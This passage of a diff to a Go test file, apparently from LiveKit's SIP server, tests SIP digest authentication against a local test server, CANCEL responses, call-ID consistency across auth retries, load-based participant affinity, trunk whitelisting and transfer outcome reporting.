getResponseOrFail(t, authTx1) - authRes2 = getResponseOrFail(t, authTx2) - - // Log the results for debugging - t.Logf("First authenticated call got status: %d", authRes1.StatusCode) - t.Logf("Second authenticated call got status: %d", authRes2.StatusCode) - - // Verify each call was tracked independently (should be 2 calls total) - // Note: Each SipCallId gets tracked twice - once for initial request, once for authenticated request - authMutex.Lock() - require.Equal(t, 2, len(authAttempts), "Should have tracked 2 different calls") - require.Equal(t, 2, authAttempts["call1-123@test.com"], "First call should be tracked twice (initial + authenticated)") - require.Equal(t, 2, authAttempts["call2-456@test.com"], "Second call should be tracked twice (initial + authenticated)") - authMutex.Unlock() -} - -// TestDigestAuthStandardFlow tests the standard authentication flow where the same Call-ID gets the same challenge state -func TestDigestAuthStandardFlow(t *testing.T) { - const ( - fromUser = "test@example.com" - toUser = "agent@example.com" - username = "testuser" - password = "testpass" - callID = "same-call-id@test.com" - ) - - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - return AuthInfo{ - Result: AuthPassword, - Auth: InboundAuth{ - Username: username, - Password: password, - }, - }, nil - }, - DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { - return CallDispatch{ - Result: DispatchNoRuleReject, - // No room config needed for reject - } - }, - OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { - // No-op for tests to avoid async logging issues - }, - } - - // Create service with authentication enabled - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - localIP, err := config.GetLocalIP() - require.NoError(t, err) - - sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - // Use a no-op logger to avoid panics from async logging after test completion - log := logger.LogRLogger(logr.Discard()) - s, err := NewService("", &config.Config{ - HideInboundPort: false, // Enable authentication - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }) - require.NoError(t, err) - require.NotNil(t, s) - t.Cleanup(s.Stop) - - s.SetHandler(h) - require.NoError(t, s.Start()) - - sipUserAgent, err := sipgo.NewUA( - sipgo.WithUserAgent(fromUser), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - require.NoError(t, err) - - sipClient, err := sipgo.NewClient(sipUserAgent) - require.NoError(t, err) - - offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) - require.NoError(t, err) - offerData, err := offer.SDP.Marshal() - require.NoError(t, err) - - // Create first INVITE request with specific Call-ID - inviteRecipient := sip.Uri{User: toUser, Host: sipServerAddress} - inviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient) - inviteRequest1.SetDestination(sipServerAddress) - inviteRequest1.SetBody(offerData) - inviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - inviteRequest1.AppendHeader(sip.NewHeader("Call-ID", callID)) - - tx1, err := sipClient.TransactionRequest(inviteRequest1) - require.NoError(t, err) - t.Cleanup(tx1.Terminate) - - // Should receive 100 Trying first, then 407 Unauthorized - res1 := getResponseOrFail(t, tx1) - require.Equal(t, sip.StatusCode(100), res1.StatusCode, "First request should receive 100 Trying") - res1 = getResponseOrFail(t, tx1) - require.Equal(t, sip.StatusCode(407), res1.StatusCode, "First request should receive 407 Unauthorized") - - // Get the challenge from first response - authHeader1 := res1.GetHeader("Proxy-Authenticate") - require.NotNil(t, authHeader1, "First response should have Proxy-Authenticate header") - challenge1 := authHeader1.Value() - - // Parse the challenge to extract nonce and realm - challenge, err := digest.ParseChallenge(challenge1) - require.NoError(t, err, "Should be able to parse challenge") - - // Compute the digest response using the challenge and credentials - cred, err := digest.Digest(challenge, digest.Options{ - Method: "INVITE", - URI: inviteRecipient.String(), - Username: username, - Password: password, - }) - require.NoError(t, err, "Should be able to compute digest response") - - // Create second INVITE request with the SAME Call-ID and Proxy-Authorization header - inviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient) - inviteRequest2.SetDestination(sipServerAddress) - inviteRequest2.SetBody(offerData) - inviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - inviteRequest2.AppendHeader(sip.NewHeader("Call-ID", callID)) - inviteRequest2.AppendHeader(sip.NewHeader("Proxy-Authorization", cred.String())) - - tx2, err := sipClient.TransactionRequest(inviteRequest2) - require.NoError(t, err) - t.Cleanup(tx2.Terminate) - - // Should receive 100 Trying first, then proceed with authentication - res2 := getResponseOrFail(t, tx2) - require.Equal(t, sip.StatusCode(100), res2.StatusCode, "Second request should receive 100 Trying") - - // The second request should either succeed (200) or get another 407 if there are issues - // Let's check what response we get - res2 = getResponseOrFail(t, tx2) - switch res2.StatusCode { - case 407: - // If we get another 407, it means authentication failed - t.Logf("Second request got 407 again, authentication may have failed") - case 200: - t.Logf("Second request succeeded with 200 OK") - default: - t.Logf("Second request got status: %d", res2.StatusCode) - } -} - -// When a cancel request is sent, we expect two responses, 200 (for CANCEL), and 487 (for INVITE). -// This test makes sure the 487 response is received (can't test CANCEL-200) -func TestCANCELSendsBothResponses(t *testing.T) { - const ( - fromUser = "caller@example.com" - toUser = "callee@example.com" - ) - - st := NewServiceTest(t, &serviceTestConfig{GetRoom: newTestRoomConfig(&testRoomConfig{ringForever: true})}) - - call := newTestCall(st.TestUA, false) - req, localSDP, err := call.Invite(nil) - require.NoError(t, err) - call.SetLocalSDP(localSDP) - - ctx, cancel := context.WithTimeout(t.Context(), 1*time.Second) - defer cancel() - - inviteTx, err := st.TestUA.Client.TransactionRequest(req) - require.NoError(t, err) - defer inviteTx.Terminate() - - // Wait for 100 Trying - res100 := getResponseOrFailTimeout(t, ctx, inviteTx) - require.Equal(t, sip.StatusCode(100), res100.StatusCode, "Should receive 100 Trying") - - // Wait for 180 Ringing (call is now ringing) - res180 := getResponseOrFailTimeout(t, ctx, inviteTx) - require.Equal(t, sip.StatusCode(180), res180.StatusCode, "Should receive 180 Ringing") - remoteTag, ok := res180.To().Params.Get("tag") - require.True(t, ok, "remote tag should be present") - call.SetRemoteTag(LocalTag(remoteTag)) - - // Now send CANCEL - err = inviteTx.Cancel() - require.NoError(t, err, "Should be able to send CANCEL") - - // On-the-wire there should be two responses after CANCEL: - // 1. 200 OK response to the CANCEL request (CSeq method = CANCEL) - // 2. 487 Request Terminated response to the original INVITE (CSeq method = INVITE) - // This is the critical one - we must receive it - // However, the 200 OK response to CANCEL will not come through tx.Responses(). - // Sipgo treats both INVITE and CANCEL as the same transaction, and has special handling - // to swallow the 200 OK response to CANCEL, so it can't look like the INVITE got the 200. - - res := getFinalResponseOrFail(t, ctx, inviteTx) - require.Equal(t, sip.StatusCode(487), res.StatusCode, "Should have received 487 Request Terminated response to INVITE when CANCEL is sent") - cseq := res.CSeq() - require.NotNil(t, cseq, "487 response should have CSeq header") - require.Equal(t, sip.INVITE, cseq.MethodName, "487 response should be for INVITE method") -} - -// TestSameCallIDForAuthFlow verifies that the same LiveKit call ID is assigned to both -// the initial INVITE (without auth) and the subsequent INVITE (with auth) -func TestSameCallIDForAuthFlow(t *testing.T) { - const ( - fromUser = "test@example.com" - toUser = "agent@example.com" - username = "testuser" - password = "testpass" - callID = "same-call-id@test.com" - fromTag = "fixed-from-tag-12345" - ) - - var capturedCallIDs []string - var mu sync.Mutex - - log := logger.NewTestLoggerLevel(t, 1) - - h := &TestHandler{ - GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { - // Capture the LiveKit call ID from the first request - mu.Lock() - capturedCallIDs = append(capturedCallIDs, call.LkCallId) - mu.Unlock() - - log.Infow("GetAuthCredentials called", "callID", call.LkCallId) - - return AuthInfo{ - Result: AuthPassword, - Auth: InboundAuth{ - Username: username, - Password: password, - }, - }, nil - }, - DispatchCallFunc: func(ctx context.Context, info *CallInfo) CallDispatch { - return CallDispatch{ - Result: DispatchNoRuleReject, - // No room config needed for reject - } - }, - OnSessionEndFunc: func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { - // No-op for tests to avoid async logging issues - }, - } - - // Create service with authentication enabled - sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin - localIP, err := config.GetLocalIP() - require.NoError(t, err) - - sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) - - mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) - require.NoError(t, err) - - s, err := NewService("", &config.Config{ - HideInboundPort: false, // Enable authentication - SIPPort: sipPort, - SIPPortListen: sipPort, - RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, - }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(nil) - }) - require.NoError(t, err) - require.NotNil(t, s) - - s.SetHandler(h) - require.NoError(t, s.Start()) - t.Cleanup(s.Stop) - - sipUserAgent, err := sipgo.NewUA( - sipgo.WithUserAgent(fromUser), - sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), - ) - require.NoError(t, err) - - sipClient, err := sipgo.NewClient(sipUserAgent) - require.NoError(t, err) - - offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) - require.NoError(t, err) - offerData, err := offer.SDP.Marshal() - require.NoError(t, err) - - inviteFromHeader := sip.FromHeader{ - DisplayName: fromUser, - Address: sip.Uri{User: fromUser, Host: sipServerAddress}, - Params: sip.HeaderParams{{"tag", fromTag}}, // Key bit here - } - - // Create first INVITE request (without auth) - inviteRecipient := sip.Uri{User: toUser, Host: sipServerAddress} - inviteRequest1 := sip.NewRequest(sip.INVITE, inviteRecipient) - inviteRequest1.SetDestination(sipServerAddress) - inviteRequest1.SetBody(offerData) - inviteRequest1.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - inviteRequest1.AppendHeader(sip.NewHeader("Call-ID", callID)) - inviteRequest1.AppendHeader(&inviteFromHeader) - - tx1, err := sipClient.TransactionRequest(inviteRequest1) - require.NoError(t, err) - t.Cleanup(tx1.Terminate) - - // Should receive 100 Trying first, then 407 Unauthorized - res1 := getResponseOrFail(t, tx1) - require.Equal(t, sip.StatusCode(100), res1.StatusCode, "First request should receive 100 Trying") - res1 = getResponseOrFail(t, tx1) - require.Equal(t, sip.StatusCode(407), res1.StatusCode, "First request should receive 407 Unauthorized") - - // Get the To tag from the 407 response - toHeader := res1.To() - require.NotNil(t, toHeader, "407 response should have To header") - _, ok := toHeader.Params.Get("tag") - require.True(t, ok, "407 response To header should have tag parameter") - - // Get the challenge from first response - authHeader1 := res1.GetHeader("Proxy-Authenticate") - require.NotNil(t, authHeader1, "First response should have Proxy-Authenticate header") - challenge1 := authHeader1.Value() - - // Parse the challenge to extract nonce and realm - challenge, err := digest.ParseChallenge(challenge1) - require.NoError(t, err, "Should be able to parse challenge") - - // Compute the digest response using the challenge and credentials - cred, err := digest.Digest(challenge, digest.Options{ - Method: "INVITE", - URI: inviteRecipient.String(), - Username: username, - Password: password, - }) - require.NoError(t, err, "Should be able to compute digest response") - - // Create second INVITE request (with auth) using the SAME Call-ID, From tag, and To tag - inviteRequest2 := sip.NewRequest(sip.INVITE, inviteRecipient) - inviteRequest2.SetDestination(sipServerAddress) - inviteRequest2.SetBody(offerData) - inviteRequest2.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - inviteRequest2.AppendHeader(sip.NewHeader("Call-ID", callID)) - inviteRequest2.AppendHeader(sip.NewHeader("Proxy-Authorization", cred.String())) - inviteRequest2.AppendHeader(&inviteFromHeader) - - tx2, err := sipClient.TransactionRequest(inviteRequest2) - require.NoError(t, err) - t.Cleanup(tx2.Terminate) - - // Should receive 100 Trying first, then proceed with authentication - res2 := getResponseOrFail(t, tx2) - require.Equal(t, sip.StatusCode(100), res2.StatusCode, "Second request should receive 100 Trying") - - // Wait a bit for the handler to be called - time.Sleep(100 * time.Millisecond) - - // Verify we captured exactly 2 call IDs - mu.Lock() - require.Len(t, capturedCallIDs, 2, "Should have captured 2 call IDs") - require.Equal(t, capturedCallIDs[0], capturedCallIDs[1], "Both requests should have the same LiveKit call ID") - require.NotEmpty(t, capturedCallIDs[0], "Call ID should not be empty") - require.Contains(t, capturedCallIDs[0], "SCL_", "Call ID should have SCL_ prefix") - mu.Unlock() - - t.Logf("First call ID: %s", capturedCallIDs[0]) - t.Logf("Second call ID: %s", capturedCallIDs[1]) -} - -// newServiceForAffinity creates a minimal Service with initialized client/server maps -// suitable for testing CreateSIPParticipantAffinity without network setup. -func newServiceForAffinity(conf *config.Config) *Service { - cli := &Client{ - conf: conf, - activeCalls: make(map[LocalTag]*outboundCall), - } - srv := &Server{ - conf: conf, - byLocalTag: make(map[LocalTag]*inboundCall), - } - return &Service{ - conf: conf, - cli: cli, - srv: srv, - } -} - -func TestCreateSIPParticipantAffinity_NoConfig_NoCalls(t *testing.T) { - s := newServiceForAffinity(&config.Config{}) - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - // 1 / (1 + 0) = 1.0 - require.InDelta(t, float32(1.0), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_NoConfig_WithCalls(t *testing.T) { - s := newServiceForAffinity(&config.Config{}) - - // Add 4 outbound calls - for i := 0; i < 4; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - // Add 5 inbound calls - for i := 0; i < 5; i++ { - s.srv.byLocalTag[LocalTag(fmt.Sprintf("in-%d", i))] = &inboundCall{} - } - - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - // 1 / (1 + 9) = 0.1 - require.InDelta(t, float32(0.1), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_WithMaxCalls(t *testing.T) { - s := newServiceForAffinity(&config.Config{MaxActiveCalls: 100}) - - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - // 0 active, max 100 => 1 - 0/100 = 1.0 - require.InDelta(t, float32(1.0), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_WithMaxCalls_PartialLoad(t *testing.T) { - s := newServiceForAffinity(&config.Config{MaxActiveCalls: 100}) - - // Add 25 outbound calls before first measurement - for i := 0; i < 25; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - // 25 active, max 100 => 1 - 25/100 = 0.75 - require.InDelta(t, float32(0.75), got, 0.001) - - // Add 25 more (50 total) - for i := 25; i < 50; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - got = s.CreateSIPParticipantAffinity(context.Background(), nil) - // 50 active, max 100 => 1 - 50/100 = 0.5 - require.InDelta(t, float32(0.5), got, 0.001) - - // Add 49 more (99 total, just under capacity) - for i := 50; i < 99; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - got = s.CreateSIPParticipantAffinity(context.Background(), nil) - // 99 active, max 100 => 1 - 99/100 = 0.01 - require.InDelta(t, float32(0.01), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_AtCapacity(t *testing.T) { - s := newServiceForAffinity(&config.Config{MaxActiveCalls: 10}) - - for i := 0; i < 10; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - require.Equal(t, float32(0), got) -} - -func TestCreateSIPParticipantAffinity_OverCapacity(t *testing.T) { - s := newServiceForAffinity(&config.Config{MaxActiveCalls: 10}) - - for i := 0; i < 15; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - require.Equal(t, float32(0), got) -} - -func TestCreateSIPParticipantAffinity_MixedInboundOutbound(t *testing.T) { - s := newServiceForAffinity(&config.Config{MaxActiveCalls: 20}) - - // 6 outbound + 4 inbound = 10 total - for i := 0; i < 6; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - for i := 0; i < 4; i++ { - s.srv.byLocalTag[LocalTag(fmt.Sprintf("in-%d", i))] = &inboundCall{} - } - - got := s.CreateSIPParticipantAffinity(context.Background(), nil) - // 10 active, max 20 => 1 - 10/20 = 0.5 - require.InDelta(t, float32(0.5), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_TrunkWhitelist_Allowed(t *testing.T) { - s := newServiceForAffinity(&config.Config{ - SIPTrunkIds: []string{"trunk-a", "trunk-b"}, - }) - - req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-a"} - got := s.CreateSIPParticipantAffinity(context.Background(), req) - // Trunk is whitelisted, 0 active calls, no max => 1/(1+0) = 1.0 - require.InDelta(t, float32(1.0), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_TrunkWhitelist_Rejected(t *testing.T) { - s := newServiceForAffinity(&config.Config{ - SIPTrunkIds: []string{"trunk-a", "trunk-b"}, - }) - - req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-c"} - got := s.CreateSIPParticipantAffinity(context.Background(), req) - require.Equal(t, float32(0), got) -} - -func TestCreateSIPParticipantAffinity_TrunkWhitelist_EmptyTrunkId(t *testing.T) { - s := newServiceForAffinity(&config.Config{ - SIPTrunkIds: []string{"trunk-a"}, - }) - - req := &rpc.InternalCreateSIPParticipantRequest{} - got := s.CreateSIPParticipantAffinity(context.Background(), req) - // Empty trunk ID is not in the whitelist - require.Equal(t, float32(0), got) -} - -func TestCreateSIPParticipantAffinity_TrunkWhitelist_EmptyList(t *testing.T) { - s := newServiceForAffinity(&config.Config{}) - - // No whitelist configured, any trunk ID should work - req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "any-trunk"} - got := s.CreateSIPParticipantAffinity(context.Background(), req) - require.InDelta(t, float32(1.0), got, 0.001) -} - -func TestCreateSIPParticipantAffinity_TrunkWhitelist_WithMaxCalls(t *testing.T) { - s := newServiceForAffinity(&config.Config{ - SIPTrunkIds: []string{"trunk-a"}, - MaxActiveCalls: 100, - }) - - // Add 50 calls - for i := 0; i < 50; i++ { - s.cli.activeCalls[LocalTag(fmt.Sprintf("out-%d", i))] = &outboundCall{} - } - - // Whitelisted trunk: should get normal affinity - req := &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-a"} - got := s.CreateSIPParticipantAffinity(context.Background(), req) - require.InDelta(t, float32(0.5), got, 0.001) - - // Non-whitelisted trunk: 0 regardless of load - req = &rpc.InternalCreateSIPParticipantRequest{SipTrunkId: "trunk-x"} - got = s.CreateSIPParticipantAffinity(context.Background(), req) - require.Equal(t, float32(0), got) -} - -func TestTransferResponse(t *testing.T) { - const transferID = "STR_test" - - cases := []struct { - Name string - Outcome transferOutcome - Status livekit.SIPTransferStatus - Reason livekit.SIPTransferReason - SIPStatus livekit.SIPStatusCode - }{ - { - Name: "success", - Outcome: transferOutcome{TransferID: transferID}, - Status: livekit.SIPTransferStatus_STS_TRANSFER_SUCCESSFUL, - Reason: livekit.SIPTransferReason_STR_COMPLETED, - }, - { - Name: "call ended", - Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewError(psrpc.Aborted, errTransferCallEnded)}, - Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, - Reason: livekit.SIPTransferReason_STR_CALL_ENDED, - }, - { - Name: "subscription terminated", - Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewErrorf(psrpc.UpstreamServerError, - "call transfer failed: %w (reason %q, last status %d)", errReferSubscriptionTerminated, "giveup", 100)}, - Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, - Reason: livekit.SIPTransferReason_STR_SUBSCRIPTION_TERMINATED, - }, - { - Name: "rejected by the transferee", - Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewErrorf(psrpc.UpstreamClientError, "call transfer failed: %w", - &livekit.SIPStatus{Code: livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, Status: "Temporarily Unavailable"})}, - Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, - Reason: livekit.SIPTransferReason_STR_REJECTED, - SIPStatus: livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, - }, - { - Name: "ran out of time", - Outcome: transferOutcome{TransferID: transferID, Err: psrpc.NewError(psrpc.Canceled, context.DeadlineExceeded)}, - Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, - Reason: livekit.SIPTransferReason_STR_RINGING_TIMEOUT, - }, - { - Name: "no transfer started", - Outcome: transferOutcome{Err: psrpc.NewErrorf(psrpc.NotFound, "unknown call")}, - Status: livekit.SIPTransferStatus_STS_TRANSFER_FAILED, - Reason: livekit.SIPTransferReason_STR_UNSPECIFIED, - }, - } - for _, c := range cases { - t.Run(c.Name, func(t *testing.T) { - resp := transferResponse(c.Outcome) - require.Equal(t, c.Outcome.TransferID, resp.TransferId) - require.Equal(t, c.Status, resp.Status) - require.Equal(t, c.Reason, resp.Reason) - if c.SIPStatus == 0 { - require.Nil(t, resp.SipStatus) - return - } - require.NotNil(t, resp.SipStatus) - require.Equal(t, c.SIPStatus, resp.SipStatus.Code) - }) - } -} - -// TestTransferCallEndedIsNotAnError pins temporary behaviour. When the call ends -// before the transfer completes, the transfer has failed, but the RPC reports -// that only in the response and returns no error: callers branch on the error, -// and this case has always reached them as a success, so erroring now would -// break them. Once that reclassification has been announced to customers, this -// case becomes an error like any other failure, and this test should be -// deleted along with the special case it covers. -func TestTransferCallEndedIsNotAnError(t *testing.T) { - const ( - callID = "test-call" - transferTo = "tel:+15551234567" - transferID = "STR_test" - ) - - // newService returns a service holding one call, with the transfer to that - // call already finished and reporting out. - newService := func(out transferOutcome) *Service { - s := newServiceForAffinity(&config.Config{}) - s.log = logger.GetLogger() - s.pendingTransfers = make(map[LocalTag]*PendingTransfer) - s.srv.byLocalTag[LocalTag(callID)] = &inboundCall{} - - pending := &PendingTransfer{ - CallID: callID, - TransferTo: transferTo, - Done: make(chan transferOutcome, 1), - } - pending.Done <- out - pending.Outcome.Store(&out) - s.pendingTransfers[LocalTag(callID)] = pending - return s - } - - req := &rpc.InternalTransferSIPParticipantRequest{ - SipCallId: callID, - TransferTo: transferTo, - } - - t.Run("call ended", func(t *testing.T) { - s := newService(transferOutcome{ - TransferID: transferID, - Err: psrpc.NewError(psrpc.Aborted, errTransferCallEnded), - }) - - resp, err := s.TransferSIPParticipant(t.Context(), req) - require.NoError(t, err, "a call that ended mid-transfer must not surface as an error") - require.NotNil(t, resp) - require.Equal(t, transferID, resp.TransferId) - require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_FAILED, resp.Status) - require.Equal(t, livekit.SIPTransferReason_STR_CALL_ENDED, resp.Reason) - require.Nil(t, resp.SipStatus) - }) - - t.Run("other failures still error", func(t *testing.T) { - // Only the call-ended case is swallowed. Everything else keeps erroring, - // which is what callers already handle. - sipStatus := &livekit.SIPStatus{ - Code: livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, - Status: "Temporarily Unavailable", - } - s := newService(transferOutcome{ - TransferID: transferID, - Err: psrpc.NewErrorf(psrpc.UpstreamClientError, "call transfer failed: %w", sipStatus), - }) - - resp, err := s.TransferSIPParticipant(t.Context(), req) - require.Error(t, err) - require.NotNil(t, resp) - require.Equal(t, livekit.SIPTransferStatus_STS_TRANSFER_FAILED, resp.Status) - require.Equal(t, livekit.SIPTransferReason_STR_REJECTED, resp.Reason) - require.NotNil(t, resp.SipStatus) - require.Equal(t, livekit.SIPStatusCode_SIP_STATUS_TEMPORARILY_UNAVAILABLE, resp.SipStatus.Code) - }) -} +package sip + +import ( + "context" + "fmt" + "log/slog" + "math/rand" + "slices" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/go-logr/logr" + "github.com/icholy/digest" + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/media-sdk/sdp" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +const ( + testPortSIPMin = 30000 + testPortSIPMax = 30050 + + testPortRTPMin = 30100 + testPortRTPMax = 32000 +) + +func getResponseOrFail(t *testing.T, tx sip.ClientTransaction) *sip.Response { + select { + case <-tx.Done(): + t.Fatal("Transaction failed to complete") + case res := <-tx.Responses(): + return res + } + + return nil +} +func getResponseOrFailTimeout(t *testing.T, ctx context.Context, tx sip.ClientTransaction) *sip.Response { + t.Helper() + var ctxDone <-chan struct{} = nil + if ctx != nil { + ctxDone = ctx.Done() + } + select { + // Avoid using t.Context, this helper is used in test cleanup code as well. + case <-ctxDone: + t.Fatal("Context cancelled") + case <-tx.Done(): + t.Fatal("Transaction failed to complete") + case res := <-tx.Responses(): + return res + } + + return nil +} + +func getFinalResponseOrFail(t *testing.T, ctx context.Context, tx sip.ClientTransaction) *sip.Response { + var res *sip.Response + for { + res = getResponseOrFailTimeout(t, ctx, tx) + if res.StatusCode >= 200 { + break + } + } + return res +} + +func expectNoResponse(t *testing.T, tx sip.ClientTransaction) { + select { + case res := <-tx.Responses(): + t.Fatal("unexpected result:", res) + case <-time.After(time.Second / 2): + // ok + case <-tx.Done(): + // ok + } +} + +type TestHandler struct { + GetAuthCredentialsFunc func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) + DispatchCallFunc func(ctx context.Context, info *CallInfo) CallDispatch + OnInboundInfoFunc func(log logger.Logger, call *rpc.SIPCall, headers Headers) + OnSessionEndFunc func(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) + // FeatureFlags are returned by the default DispatchCall. + FeatureFlags map[string]string +} + +func (h TestHandler) GetAuthCredentials(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + if h.GetAuthCredentialsFunc != nil { + return h.GetAuthCredentialsFunc(ctx, call) + } + return AuthInfo{Result: AuthAccept}, nil +} + +func (h TestHandler) DispatchCall(ctx context.Context, info *CallInfo) CallDispatch { + if h.DispatchCallFunc != nil { + return h.DispatchCallFunc(ctx, info) + } + identity := fmt.Sprintf("test-participant-%s", info.Call.SipCallId) + return CallDispatch{ + Result: DispatchAccept, + Room: RoomConfig{ + RoomName: "test-room", + Participant: ParticipantConfig{ + Identity: identity, + Name: identity, + }, + }, + FeatureFlags: h.FeatureFlags, + } +} + +func (h TestHandler) GetMediaProcessor(_ []livekit.SIPFeature, _ map[string]string, _ string, _ MediaProcessorOpts) msdk.PCM16Processor { + return nil +} + +func (h TestHandler) RegisterTransferSIPParticipantTopic(sipCallId string) error { + // no-op + return nil +} + +func (h TestHandler) DeregisterTransferSIPParticipantTopic(sipCallId string) { + // no-op +} + +func (h TestHandler) OnInboundInfo(log logger.Logger, call *rpc.SIPCall, headers Headers) { + if h.OnInboundInfoFunc != nil { + h.OnInboundInfoFunc(log, call, headers) + } +} + +func (h TestHandler) OnSessionEnd(ctx context.Context, callIdentifier *CallIdentifier, state *CallState, reason string) { + if h.OnSessionEndFunc != nil { + h.OnSessionEndFunc(ctx, callIdentifier, state, reason) + } +} + +func testInvite(t *testing.T, h Handler, hidden bool, from, to string, test func(tx sip.ClientTransaction), serverOpts ...ServerOption) { + sipPort := rand.Intn(testPortSIPMax-testPortSIPMin) + testPortSIPMin + localIP, err := config.GetLocalIP() + require.NoError(t, err) + + sipServerAddress := fmt.Sprintf("%s:%d", localIP, sipPort) + + mon, err := stats.NewMonitor(&config.Config{MaxCpuUtilization: 0.9}) + require.NoError(t, err) + + // Use a no-op logger to avoid panics from async logging after test completion + log := logger.NewTestLogger(t) + s, err := NewService("", &config.Config{ + HideInboundPort: hidden, + SIPPort: sipPort, + SIPPortListen: sipPort, + RTPPort: rtcconfig.PortRange{Start: testPortRTPMin, End: testPortRTPMax}, + }, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(nil) + }, serverOpts...) + require.NoError(t, err) + require.NotNil(t, s) + t.Cleanup(s.Stop) + + s.SetHandler(h) + + require.NoError(t, s.Start()) + + sipUserAgent, err := sipgo.NewUA( + sipgo.WithUserAgent(from), + sipgo.WithUserAgentLogger(slog.New(logger.ToSlogHandler(s.log))), + ) + require.NoError(t, err) + + sipClient, err := sipgo.NewClient(sipUserAgent) + require.NoError(t, err) + + offer, err := sdp.NewOfferWith(defaultCodecs, localIP, 0xB0B, sdp.EncryptionNone) + require.NoError(t, err) + offerData, err := offer.SDP.Marshal() + require.NoError(t, err) + + inviteRecipent := sip.Uri{User: to, Host: sipServerAddress} + inviteRequest := sip.NewRequest(sip.INVITE, inviteRecipent) + inviteRequest.SetDestination(sipServerAddress) + inviteRequest.SetBody(offerData) + inviteRequest.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + + tx, err := sipClient.TransactionRequest(inviteRequest) + require.NoError(t, err) + t.Cleanup(tx.Terminate) + + test(tx) +} + +func TestService_AuthFailure(t *testing.T) { + const ( + expectedFromUser = "foo" + expectedToUser = "bar" + ) + h := &TestHandler{ + GetAuthCredentialsFunc: func(ctx context.Context, call *rpc.SIPCall) (AuthInfo, error) { + require.Equal(t, expectedFromUser, call.From.User) + 